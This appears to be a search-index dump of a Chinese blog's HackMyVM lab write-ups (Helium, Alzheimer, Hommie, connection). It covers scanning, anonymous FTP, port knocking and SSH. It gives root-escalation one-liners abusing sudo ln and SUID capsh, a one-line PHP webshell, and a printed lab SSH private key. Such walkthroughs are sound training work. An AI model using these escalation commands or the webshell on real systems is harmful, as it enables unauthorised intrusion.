Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper paul@helium:~$ whereis getcap getcap: /usr/sbin/getcap /usr/share/man/man8/getcap.8.gz paul@helium:~$ /usr/sbin/getcap -r / 2\u003e/dev/null /usr/bin/ln = cap_setuid+ep /usr/bin/ping = cap_net_raw+ep paul@helium:~$ sudo -l Matching Defaults entries for paul on helium: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User paul may run the following commands on helium: (ALL : ALL) NOPASSWD: /usr/bin/ln ","date":"2026-04-07","heading":"系统信息枚举","objectID":"/p/helium/:3:0","tags":["HackMyVM","Easy"],"title":"Helium","uri":"/p/helium/#系统信息枚举"},{"categories":["靶机复盘"],"collections":null,"content":"权限提升 paul@helium:~$ sudo /usr/bin/ln -fs /bin/sh /bin/ln paul@helium:~$ sudo /usr/bin/ln # id uid=0(root) gid=0(root) groups=0(root) # bash # 优化shell ","date":"2026-04-07","heading":"权限提升","objectID":"/p/helium/:4:0","tags":["HackMyVM","Easy"],"title":"Helium","uri":"/p/helium/#权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"获取flag root@helium:~# cat root.txt ilovetob[hidden] root@helium:~# cat /home/paul/user.txt ilovetobere[hidden] ","date":"2026-04-07","heading":"获取flag","objectID":"/p/helium/:5:0","tags":["HackMyVM","Easy"],"title":"Helium","uri":"/p/helium/#获取flag"},{"categories":["靶机复盘"],"collections":null,"content":"总结 这个靶机的漏洞主要处于信息收集阶段，还挺简单的，这是我第一个靠自己完成的靶机，纪念一下，哈哈哈哈。 思路总结一下： 端口扫描发现 22 80 对80端口进行目录枚举，发现一个yay目录。 web应用分析，在bootstrap.min.css发现可以文件(不要放过web应用上的任何文件，因为都有可能泄露出有用的信息)。访问bootstrap.min.css，发现/yay/mysecretsound.wav，下载并分析，发现密码。 通过ssh登陆，枚举系统信息。 提权(suid sudo getcap) ，记得每一个都看看，sudo 发现 ln，gtfobins 获取提权命令，提权。 ","date":"2026-04-07","heading":"总结","objectID":"/p/helium/:6:0","tags":["HackMyVM","Easy"],"title":"Helium","uri":"/p/helium/#总结"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 Alzheimer 的渗透测试与提权记录","date":"2026-04-01","objectID":"/p/alzheimer/","tags":["HackMyVM","Easy"],"title":"Alzheimer","uri":"/p/alzheimer/"},{"categories":["靶机复盘"],"collections":null,"content":"环境配置 该虚拟机的网络没有分配ip，我们重新定义了一个名字为ens33网卡，分配到了IP；该虚拟机还运行了一个knockd服务，它监听的不是ens33。我们要把他改为ens33，然后再重启服务就可以。 Interface = ens33 # 改为这个就可以，我上面的已经更改了。 service knockd restart 这样这个虚拟机的环境就配置好了。 ","date":"2026-04-01","heading":"环境配置","objectID":"/p/alzheimer/:1:0","tags":["HackMyVM","Easy"],"title":"Alzheimer","uri":"/p/alzheimer/#环境配置"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 warn@kali:~$ nmap -sC -sV 192.168.174.136 Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-01 13:39 CST Nmap scan report for 192.168.174.136 Host is up (0.00021s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.174.130 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3 - secure, fast, stable |_End of status |_ftp-anon: Anonymous FTP login allowed (FTP code 230) # 允许匿名访问 22/tcp filtered ssh 80/tcp filtered http MAC Address: 00:0C:29:ED:86:D1 (VMware) Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1.76 seconds warn@kali:~$ ftp 192.168.174.136 21 Connected to 192.168.174.136. 220 (vsFTPd 3.0.3) Name (192.168.174.136:warn): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp\u003e ls -al 229 Entering Extended Passive Mode (|||44285|) 150 Here comes the directory listing. drwxr-xr-x 2 0 113 4096 Oct 03 2020 . drwxr-xr-x 2 0 113 4096 Oct 03 2020 .. -rw-r--r-- 1 0 0 93 Mar 31 03:04 .secretnote.txt 226 Directory send OK. ftp\u003e get .secretnote.txt local: .secretnote.txt remote: .secretnote.txt 229 Entering Extended Passive Mode (|||31581|) 150 Opening BINARY mode data connection for .secretnote.txt (93 bytes). 100% |********************************************************************************| 93 3.22 KiB/s 00:00 ETA 226 Transfer complete. 93 bytes received in 00:00 (3.12 KiB/s) ftp\u003e exit 221 Goodbye. warn@kali:~/Desktop$ cat .secretnote.txt I need to knock this ports and one door will be open! 1000 2000 3000 这其实就是port knocking，只要我们按正确的端口访问，它的隐藏端口就会打开。 warn@kali:~/Desktop$ knock 192.168.174.136 1000 2000 3000 -v hitting tcp 192.168.174.136:1000 hitting tcp 192.168.174.136:2000 hitting tcp 192.168.174.136:3000 warn@kali:~/Desktop$ nmap 192.168.174.136 Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-01 13:49 CST Nmap scan report for 192.168.174.136 Host is up (0.00035s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp filtered ssh 80/tcp open http MAC Address: 00:0C:29:ED:86:D1 (VMware) Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds # 可以看到打开了80端口。 warn@kali:~/Desktop$ curl -i -s http://192.168.174.136:80/ HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Wed, 01 Apr 2026 05:50:31 GMT Content-Type: text/html Content-Length: 132 Last-Modified: Sat, 03 Oct 2020 09:55:08 GMT Connection: keep-alive ETag: \"5f784a7c-84\" Accept-Ranges: bytes I dont remember where I stored my password :( I only remember that was into a .txt file... -medusa # 告诉我们密码在 .txt 文件里面 # 但不确定密码的位置 # medusa 猜测是靶机的用户名 # 密文 -. --- - .... .. -. --. 明文 NOTHING # 没有任何东西 warn@kali:~/Desktop$ dirsearch -u http://192.168.174.136/ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /home/warn/Desktop/reports/http_192.168.174.136/__26-04-01_13-52-23.txt Target: http://192.168.174.136/ [13:52:23] Starting: [13:52:26] 301 - 185B - /admin -\u003e http://192.168.174.136/admin/ [13:52:26] 403 - 571B - /admin/ [13:52:33] 301 - 185B - /home -\u003e http://192.168.174.136/home/ [13:52:39] 301 - 185B - /secret -\u003e http://192.168.174.136/secret/ [13:52:39] 200 - 44B - /secret/ Task Completed warn@kali:~/Desktop$ curl -i -s http://192.168.174.136:80/secret/ HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Wed, 01 Apr","date":"2026-04-01","heading":"信息收集","objectID":"/p/alzheimer/:2:0","tags":["HackMyVM","Easy"],"title":"Alzheimer","uri":"/p/alzheimer/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"漏洞利用 我们泄露出来ssh的密码，通过ssh密码加用户名，我们可以进行ssh连接。 warn@kali:~/Desktop$ ssh medusa@192.168.174.136 -p 22 medusa@192.168.174.136's password: Linux alzheimer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Mar 31 03:25:01 2026 from 192.168.174.130 medusa@alzheimer:~$ ls -al total 36 drwxr-xr-x 3 medusa medusa 4096 Mar 31 03:28 . drwxr-xr-x 3 root root 4096 Oct 2 2020 .. -rw------- 1 medusa medusa 299 Mar 31 05:49 .bash_history -rw-r--r-- 1 medusa medusa 220 Oct 2 2020 .bash_logout -rw-r--r-- 1 medusa medusa 3526 Oct 2 2020 .bashrc drwxr-xr-x 3 medusa medusa 4096 Oct 3 2020 .local -rw-r--r-- 1 medusa medusa 807 Oct 2 2020 .profile -rw-r--r-- 1 medusa medusa 19 Oct 3 2020 user.txt -rw------- 1 medusa medusa 107 Oct 3 2020 .Xauthority medusa@alzheimer:~$ cat user.txt HMVrespectmemories 我们接下来要拿到root用户的root.txt。 ","date":"2026-04-01","heading":"漏洞利用","objectID":"/p/alzheimer/:3:0","tags":["HackMyVM","Easy"],"title":"Alzheimer","uri":"/p/alzheimer/#漏洞利用"},{"categories":["靶机复盘"],"collections":null,"content":"提权 medusa@alzheimer:~$ sudo -l Matching Defaults entries for medusa on alzheimer: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User medusa may run the following commands on alzheimer: (ALL) NOPASSWD: /bin/id # 这个id 无法进行提权 medusa@alzheimer:~$ find / -perm -4000 -type f -exec ls -al {} \\; 2\u003e/dev/null -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh -rwsr-xr-x 1 root root 157192 Feb 2 2020 /usr/bin/sudo -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd -rwsr-sr-x 1 root root 26776 Feb 6 2019 /usr/sbin/capsh # 我们可以看到 /usr/sbin/capsh # capsh --gid=0 --uid=0 -- 提权 medusa@alzheimer:~$ /usr/sbin/capsh --gid=0 --uid=0 -- root@alzheimer:~# cat /root/root.txt HMVlovememories ","date":"2026-04-01","heading":"提权","objectID":"/p/alzheimer/:4:0","tags":["HackMyVM","Easy"],"title":"Alzheimer","uri":"/p/alzheimer/#提权"},{"categories":["靶机复盘"],"collections":null,"content":"总结 这个靶机的环境有一些配置不当的地方，导致我在做题的时候，即使思路正确，也得不到很好的反馈。总体上这道题的漏洞还是处于信息泄露阶段，还是比较简单的。 ","date":"2026-04-01","heading":"总结","objectID":"/p/alzheimer/:5:0","tags":["HackMyVM","Easy"],"title":"Alzheimer","uri":"/p/alzheimer/#总结"},{"categories":["靶机复盘"],"collections":null,"content":"port knocking 它本质上是：一种通过预定义的端口序列来控制防火墙规则的技术。服务器上的某些端口（比如SSH的22端口）默认是关闭的，只有当客户端按照正确的顺序访问指定端口后，防火墙才会临时开放目标端口。 这种技术最大的好处就是可以让你的服务器在网络扫描中完全隐身。黑客用nmap扫描的时候，会发现你的服务器上没有任何开放的端口，就像一个\u0026quot;幽灵服务器\u0026quot;一样。 工作原理 当你配置好敲门协议后，服务器会监听网络流量，寻找特定的端口访问模式。比如说，你设置的敲门序列是：先访问1234端口，然后访问5678端口，最后访问9999端口。 服务器上运行着一个守护进程，它会记录每个IP地址的端口访问历史。当某个IP按照正确的顺序访问了这三个端口后，守护进程就会修改防火墙规则，临时开放SSH端口（或者其他你想要开放的端口）给这个IP地址。 这个过程有点像是在玩密室逃脱游戏，你需要按照正确的顺序触发机关，最后的门才会打开。 不过这里有个细节需要注意，敲门的端口访问通常是有时间限制的。如果你敲门的间隔太长，服务器可能会重置计数器，你就需要重新开始敲门序列。 服务配置 # root apt install knockd systemctl start knock 查看knockd服务的配置。 warn@kali:~/Desktop$ cat /etc/knockd.conf [options] UseSyslog # 开始 [openSSH] # 敲门暗号顺序 sequence = 7000,8000,9000 # 设置超时时间 seq_timeout = 5 # 设置敲门成功后要执行的命令 command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn # 关闭 [closeSSH] sequence = 9000,8000,7000 seq_timeout = 5 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn #开启 [openHTTPS] sequence = 12345,54321,24680,13579 seq_timeout = 5 command = /usr/local/sbin/knock_add -i -c INPUT -p tcp -d 443 -f %IP% tcpflags = syn 本质上，在敲门成功后执行的是一个命令，我们要警惕敲门成功后的任何改变，有些命令可能导致信息的泄露。 客户端敲门的方式： knock knock 192.168.174.136 1000 2000 3000 -v telnet telent 192.168.174.136 1000 telent 192.168.174.136 2000 telent 192.168.174.136 3000 nmap for port in 7000 8000 9000; do nmap -Pn -p $port 192.168.1.100 done ","date":"2026-04-01","heading":"port knocking","objectID":"/p/alzheimer/:6:0","tags":["HackMyVM","Easy"],"title":"Alzheimer","uri":"/p/alzheimer/#port-knocking"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 Hommie 的渗透测试与提权记录","date":"2026-03-30","objectID":"/p/hommie/","tags":["HackMyVM","Easy"],"title":"Hommie","uri":"/p/hommie/"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 root@kali:/home/warn# nmap -sC -sV 192.168.174.134 Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-30 12:58 CST Nmap scan report for 192.168.174.134 Host is up (0.000093s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.174.130 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 0 Sep 30 2020 index.html 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 c6:27:ab:53:ab:b9:c0:20:37:36:52:a9:60:d3:53:fc (RSA) | 256 48:3b:28:1f:9a:23:da:71:f6:05:0b:a5:a6:c8:b7:b0 (ECDSA) |_ 256 b3:2e:7c:ff:62:2d:53:dd:63:97:d4:47:72:c8:4e:30 (ED25519) 80/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: Site doesn't have a title (text/html). MAC Address: 00:0C:29:7F:C7:9B (VMware) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.05 seconds 21 端口：允许Anonymous FTP 的匿名登陆，index.html 文件是空的。 22 端口：ssh连接。 80端口：http-server：nginx 1.14.2。 root@kali:/home/warn# curl -i -s http://192.168.174.134/ HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Mon, 30 Mar 2026 05:12:33 GMT Content-Type: text/html Content-Length: 99 Last-Modified: Wed, 30 Sep 2020 14:43:05 GMT Connection: keep-alive ETag: \"5f749979-63\" Accept-Ranges: bytes alexia, Your id_rsa is exposed, please move it!!!!! Im fighting regarding reverse shells! -nobody alexia 的 id_rsa 已经泄露，请移走它。我正在与反弹shell作斗争。 root@kali:/home/warn# ftp 192.168.174.134 21 Connected to 192.168.174.134. 220 (vsFTPd 3.0.3) Name (192.168.174.134:warn): annoymoi^Hu 530 This FTP server is anonymous only. ftp: Login failed ftp\u003e user annoymous 530 This FTP server is anonymous only. Login failed. ftp\u003e user anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp\u003e ls -al 229 Entering Extended Passive Mode (|||31109|) 150 Here comes the directory listing. drwxr-xr-x 3 0 113 4096 Sep 30 2020 . drwxr-xr-x 3 0 113 4096 Sep 30 2020 .. drwxrwxr-x 2 0 113 4096 Mar 28 23:33 .web -rw-r--r-- 1 0 0 0 Sep 30 2020 index.html 226 Directory send OK. ftp\u003e cd .web 250 Directory successfully changed. ftp\u003e ls -al 229 Entering Extended Passive Mode (|||23424|) 150 Here comes the directory listing. drwxrwxr-x 2 0 113 4096 Mar 28 23:33 . drwxr-xr-x 3 0 113 4096 Sep 30 2020 .. -rw-r--r-- 1 106 113 27 Mar 28 23:27 1.php # 我上传的 -rw-r--r-- 1 106 113 25 Mar 28 23:33 3.php # -rw-r--r-- 1 0 0 99 Sep 30 2020 index.html 226 Directory send OK. 访问1.php。 warn@kali:~$ curl -i -s http://192.168.174.134/1.php HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Mon, 30 Mar 2026 05:23:36 GMT Content-Type: application/octet-stream Content-Length: 27 Last-Modified: Sun, 29 Mar 2026 03:27:54 GMT Connection: keep-alive ETag: \"69c89c3a-1b\" Accept-Ranges: bytes \u003c?php system($_GET[1]); ?\u003e 网站并没有解析php文件。反弹shell我们就不考虑了。 alexia 的 id_rsa 已经被泄露，我们现在的任务就是找到泄露的私钥。 warn@kali:~$ nmap -sU --top-ports 20 192.168.174.134 Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-30 13:30 CST Nmap scan report for 192.168.174.134 Host is up (0.00055s latency). # -sU 检测UDP 协议的端口 # --top-ports 查看常见的udp端口 PORT STATE SERVICE 53/udp closed domain 67/udp closed dhcps 68/udp open|filtered dhcpc 69/udp open|filtered tftp 123/udp closed ntp 135/udp closed msrpc 137/udp closed netbios-ns 138/udp closed netbios-dgm 139/udp closed netbios-ssn 161/udp closed snmp 162/udp closed snmptrap 445/udp closed microsoft-ds 500/udp closed isakmp 514/udp closed syslog 520/udp closed route 631/udp closed ipp 1434/udp closed ms-sq","date":"2026-03-30","heading":"信息收集","objectID":"/p/hommie/:1:0","tags":["HackMyVM","Easy"],"title":"Hommie","uri":"/p/hommie/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"漏洞利用 chmod 600 id_rsa warn@kali:~/Desktop$ ssh -i ./id_rsa alexia@192.168.174.134 Linux hommie 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Mar 29 00:56:30 2026 from 192.168.174.130 alexia@hommie:~$ ls -al total 36 drwxr-xr-x 4 alexia alexia 4096 Sep 30 2020 . drwxr-xr-x 3 root root 4096 Sep 30 2020 .. -rw-r--r-- 1 alexia alexia 220 Sep 30 2020 .bash_logout -rw-r--r-- 1 alexia alexia 3526 Sep 30 2020 .bashrc drwxr-xr-x 3 alexia alexia 4096 Sep 30 2020 .local -rw-r--r-- 1 alexia alexia 807 Sep 30 2020 .profile drwx------ 2 alexia alexia 4096 Mar 29 01:00 .ssh -rw-r--r-- 1 alexia alexia 10 Sep 30 2020 user.txt -rw------- 1 alexia alexia 52 Sep 30 2020 .Xauthority alexia@hommie:~$ cat user.txt Imnotroot ","date":"2026-03-30","heading":"漏洞利用","objectID":"/p/hommie/:2:0","tags":["HackMyVM","Easy"],"title":"Hommie","uri":"/p/hommie/#漏洞利用"},{"categories":["靶机复盘"],"collections":null,"content":"提权 alexia@hommie:~$ sudo -l -bash: sudo: command not found alexia@hommie:~$ find / -perm -4000 -type f -exec ls -al {} \\; 2\u003e/dev/null -rwsr-sr-x 1 root root 16720 Sep 30 2020 /opt/showMetheKey -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount alexia@hommie:~$ file /opt/showMetheKey /opt/showMetheKey: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=63398a6916b1b6bf3991e2b05fa60bec15b1faff, not stripped # 64 位 的可执行文件 alexia@hommie:~$ /opt/showMetheKey -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn NhAAAAAwEAAQAAAQEApwUR2Pvdhsu1RGG0UIWmj2yDNvs+4VLPG0WWisip6oZrjMjJ40h7 V0zdgZSRFhMxx0/E6ilh2MiMbpAuogCqC3MEodzIzHYAJyK4z/lIqUNdHJbgLDyaY26G0y Rn1XI+RqLi5NUHBPyiWEuQUEZCMOqi5lS1kaiNHmVqx+rlEs6ZUq7Z6lzYs7da3XcFGuOT gCnBh1Wb4m4e14yF+Syn4wQVh1u/53XGmeB/ClcdAbSKoJswjI1JqCCkxudwRMUYjq309j QMxa7bbxaJbkb3hLmMuFU7RGEPu7spLvzRwGAzCuU3f60qJVTp65pzFf3x51j3YAMI+ZBq kyNE1y12swAAA8i6ZpNpumaTaQAAAAdzc2gtcnNhAAABAQCnBRHY+92Gy7VEYbRQhaaPbI M2+z7hUs8bRZaKyKnqhmuMyMnjSHtXTN2BlJEWEzHHT8TqKWHYyIxukC6iAKoLcwSh3MjM dgAnIrjP+UipQ10cluAsPJpjbobTJGfVcj5GouLk1QcE/KJYS5BQRkIw6qLmVLWRqI0eZW rH6uUSzplSrtnqXNizt1rddwUa45OAKcGHVZvibh7XjIX5LKfjBBWHW7/ndcaZ4H8KVx0B tIqgmzCMjUmoIKTG53BExRiOrfT2NAzFrttvFoluRveEuYy4VTtEYQ+7uyku/NHAYDMK5T d/rSolVOnrmnMV/fHnWPdgAwj5kGqTI0TXLXazAAAAAwEAAQAAAQBhD7sthEFbAqtXEAi/ +suu8frXSu9h9sPRL4GrKa5FUtTRviZFZWv4cf0QPwyJ7aGyGJNxGZd5aiLiZfwTvZsUiE Ua47n1yGWSWMVaZ55ob3N/F9czHg0C18qWjcOh8YBrgGGnZn1r0n1uHovBevMghlsgy/2w pmlMTtfdUo7JfEKbZmsz3auih2/64rmVp3r0YyGrvOpWuV7spnzPNAFUCjPTwgE2RpBVtk WeiQtF8IedoMqitUsJU9ephyYqvjRemEugkqkALBJt91yBBO6ilulD8Xv1RBsVHUttE/Jz bu4XlJXVeD10ooFofrsZd/9Ydz4fx49GwtjYnqsda0rBAAAAgGbx1tdwaTPYdEfuK1kBhu 3ln3QHVx3ZkZ7tNQFxxEjYjIPUQcFFoNBQpIUNOhLCphB8agrhcke5+aq5z2nMdXUJ3DO6 0boB4mWSMml6aGpW4AfcDFTybT6V8pwZcThS9FL3K2JmlZbgPlhkX5fyOmh14/i5ti7r9z HlBkwMfJJPAAAAgQDPt0ouxdkG1kDNhGbGuHSMAsPibivXEB7/wK7XHTwtQZ7cCQTVqbbs y6FqG0oSaSz4m2DfWSRZc30351lU4ZEoHJmlL8Ul6yvCjMOnzUzkhrIen131h/MStsQYtY OZgwwdcG2+N7MReMpbDA9FSHLtHoMLUcxShLSX3ccIoWxqAwAAAIEAzdgK1iwvZkOOtM08 QPaLXRINjIKwVdmOk3Q7vFhFRoman0JeyUbEd0qlcXjFzo02MBlBadh+XlsDUqZSWo7gpp ivFRbnEu2sy02CHilIJ6vXCQnuaflapCNG8MlG5CtpqfyVoYQ3N3d0PfOWLaB13fGeV/wN 0x2HyroKtB+OeZEAAAANYWxleGlhQGhvbW1pZQECAwQFBg== -----END OPENSSH PRIVATE KEY----- alexia@hommie:~$ strings /opt/showMetheKey /lib64/ld-linux-x86-64.so.2 libc.so.6 setuid system __cxa_finalize setgid __libc_start_main GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable u/UH []A\\A]A^A_ cat $HOME/.ssh/id_rsa # 这属于环境变量注入 ;*3$\" GCC: (Debian 8.3.0-6) 8.3.0 crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.7325 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry showMetheKey.c __FRAME_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini _ITM_deregisterTMCloneTable _edata system@@GLIBC_2.2.5 __libc_start_main@@GLIBC_2.2.5 __data_start __gmon_start__ __dso_handle _IO_stdin_used __libc_csu_init __bss_start main setgid@@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable setuid@@GLIBC_2.2.5 __cxa_finalize@@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version ","date":"2026-03-30","heading":"提权","objectID":"/p/hommie/:3:0","tags":["HackMyVM","Easy"],"title":"Hommie","uri":"/p/hommie/#提权"},{"categories":["靶机复盘"],"collections":null,"content":"总结 这道题的具体思路就是：泄露id_rsa，通过id_rsa私钥实现公私钥登陆。漏洞点在于：在tftp 暴露了私钥，tcp的21端口是用来迷惑人的，我们上传上去的文件并没有被php解析。 不足：我并不了解udp的tftp服务。 ","date":"2026-03-30","heading":"总结","objectID":"/p/hommie/:4:0","tags":["HackMyVM","Easy"],"title":"Hommie","uri":"/p/hommie/#总结"},{"categories":["靶机复盘"],"collections":null,"content":"tftp 全称 Trivial File Transfer Protocol。它比 FTP 简单得多。 特点也很明显： 基于 UDP 默认入口端口是 69 没有标准认证机制 功能很少，主要就是“上传/下载文件” 标准协议通常不支持 ls、cd、pwd 这种目录浏览 TFTP 怎么工作 客户端先向 69/udp 发一个“读文件”或“写文件”请求 如果服务端接受，它后续往往会从另一个临时 UDP 端口和你继续传输 所以 69 更像“敲门口”，不一定是整个传输都在 69 上完成 在 Kali 上怎么连接 tftp 192.168.174.134 connect 192.168.174.134 69 status # 查看当前状态 verbose # 打开详细输出 trace # 看更细的收发过程 binary # 二进制模式传输 ascii # 文本模式传输 get # 下载文件 put # 上传文件 quit # 退出 ","date":"2026-03-30","heading":"tftp","objectID":"/p/hommie/:5:0","tags":["HackMyVM","Easy"],"title":"Hommie","uri":"/p/hommie/#tftp"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 connection 的渗透测试与提权记录","date":"2026-03-25","objectID":"/p/connection/","tags":["HackMyVM","Easy"],"title":"connection","uri":"/p/connection/"},{"categories":["靶机复盘"],"collections":null,"content":" 前言：这个靶机的网络配置做的不是很好，需要自己配置网络。 ","date":"2026-03-25","heading":"","objectID":"/p/connection/:0:0","tags":["HackMyVM","Easy"],"title":"connection","uri":"/p/connection/#"},{"categories":["靶机复盘"],"collections":null,"content":"前期踩点 root@kali:/home/warn# arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:74:0c:8a, IPv4: 192.168.174.130 WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.174.1 00:50:56:c0:00:08 (Unknown) 192.168.174.2 00:50:56:e6:a5:f9 (Unknown) 192.168.174.132 00:0c:29:a4:81:9b (Unknown) 192.168.174.254 00:50:56:e3:99:7a (Unknown) 4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.865 seconds (137.27 hosts/sec). 4 responded warn@kali:~$ nmap -sV -sC 192.168.174.132 # -sV 查看服务和版本 # -sC 使用默认的脚本信息去检测 --script=default Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-25 14:25 CST Nmap scan report for 192.168.174.132 Host is up (0.000091s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 b7:e6:01:b5:f9:06:a1:ea:40:04:29:44:f4:df:22:a1 (RSA) | 256 fb:16:94:df:93:89:c7:56:85:84:22:9e:a0:be:7c:95 (ECDSA) |_ 256 45:2e:fb:87:04:eb:d1:8b:92:6f:6a:ea:5a:a2:a1:1c (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.38 (Debian) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP) MAC Address: 00:0C:29:A4:81:9B (VMware) Service Info: Host: CONNECTION; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | 